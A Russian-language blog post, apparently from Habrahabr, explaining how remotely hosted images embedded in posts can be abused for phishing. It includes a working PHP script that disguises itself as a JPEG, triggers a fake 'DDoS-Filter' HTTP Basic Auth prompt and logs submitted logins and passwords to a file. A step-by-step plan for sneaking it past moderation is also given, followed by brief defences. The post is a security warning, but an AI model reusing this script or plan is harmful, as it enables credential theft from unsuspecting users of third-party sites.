Правильно люди говорят: «Все новое — это хорошо забытое старое»
Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.
Детали под катом
Теория и практика
1.
2. Загружает на него скрипт c таким содержимым на PHP
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
$vulnsite = parse_url($_SERVER['REFERER']);
//header('Content-Type: text/html; charset=windows-1251');
//header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"');
//header('HTTP/1.0 401 Unauthorized');
} else {
$f = fopen('passes.txt', 'a');
fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");
fclose($f);
}
header("Content-type: image/jpeg");
$image = imagecreatefromjpeg('image.jpg');
imagejpeg($image);
imagedestroy($image);
exit();
//Соответственно в этой же папке лежит нормальная image.jpg
//Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg .
?>
3. Пишет статью, и встраивает картинку в пост:
<img src="http://exEmple.com/evilimage.php" alt="image"/>
4. Если присутствует модерация на сайте, то отправляет статью на модерацию.
5. К примеру статья получилась у него хорошая и она попадает на главную.
6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.
7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.
8. Злой человек получает ваш логин и пароль, его цель достигнута.
Способы защиты
Думаю вменяемых методов может быть два:
- На уровне браузеров: запрет на выдачу окна авторизации от другого сайта
- На уровне разработчиков сайтов: Копирование всех удалённых ресурсов к себе на хостинг
P.S.
Habrahabr.ru тут не исключение у него на главной присутствуют посты, с картинками с других ресурсов. Так что просто стоит держать в уме этот трюк и всегда проверять до буквы имя домена требующего авторизацию.
А так же всегда есть потенциальная опасность того что пока картинка находится на главной, сайт с которого тянется эта картинка, может быть взломан только ради того чтобы заменить картинку на скрипт.
P.P.S.
Я не считаю это багом.
Это не более чем трюк, который официально позволяется протоколом HTTP.